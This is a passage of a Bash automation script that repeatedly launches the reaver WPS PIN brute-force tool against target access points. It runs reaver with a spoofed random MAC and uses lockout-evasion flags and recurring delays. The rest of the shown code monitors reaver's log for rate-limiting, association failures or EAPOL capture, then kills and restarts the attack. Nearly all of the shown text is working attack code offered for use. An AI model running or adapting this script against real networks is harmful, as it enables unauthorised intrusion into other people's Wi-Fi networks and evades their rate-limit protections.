	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP14 (ESSID: $NMEWARN14)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP14 (ESSID: $NMEWARN14)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE14 == n ] || [ $KEEP_FILE14 == N ]; then

          rm VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R15 == n || $USE_R15 == N ]] && [[ $USE_LONG15 == n || $USE_LONG15 == N ]] && [[ $USE_PIN15 == n || $USE_PIN15 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME15"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL15"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP15"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE15 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME15-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL15 -b $TARGETAP15 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME15-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE15-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP15 (ESSID: $NMEWARN15)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP15 (ESSID: $NMEWARN15)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R15 == y || $USE_R15 == Y ]] && [[ $USE_LONG15 == n || $USE_LONG15 == N ]] && [[ $USE_PIN15 == n || $USE_PIN15 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME15"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL15"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP15"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX15" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY15"
echo -e "$info Reaver live time                   = $yel$LIVE15 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME15-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL15 -b $TARGETAP15 -vv -x 60 -r $RX15:$RY15 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME15-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE15-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP15 (ESSID: $NMEWARN15)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP15 (ESSID: $NMEWARN15)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R15 == n || $USE_R15 == N ]] && [[ $USE_LONG15 == y || $USE_LONG15 == Y ]] && [[ $USE_PIN15 == n || $USE_PIN15 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME15"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL15"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP15"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE15 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME15-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL15 -b $TARGETAP15 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME15-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE15-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP15 (ESSID: $NMEWARN15)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP15 (ESSID: $NMEWARN15)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R15 == y || $USE_R15 == Y ]] && [[ $USE_LONG15 == y || $USE_LONG15 == Y ]] && [[ $USE_PIN15 == n || $USE_PIN15 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME15"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL15"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP15"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX15" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY15"
echo -e "$info Reaver live time                   = $yel$LIVE15 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME15-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL15 -b $TARGETAP15 -r $RX15:$RY15 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME15-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE15-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP15 (ESSID: $NMEWARN15)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

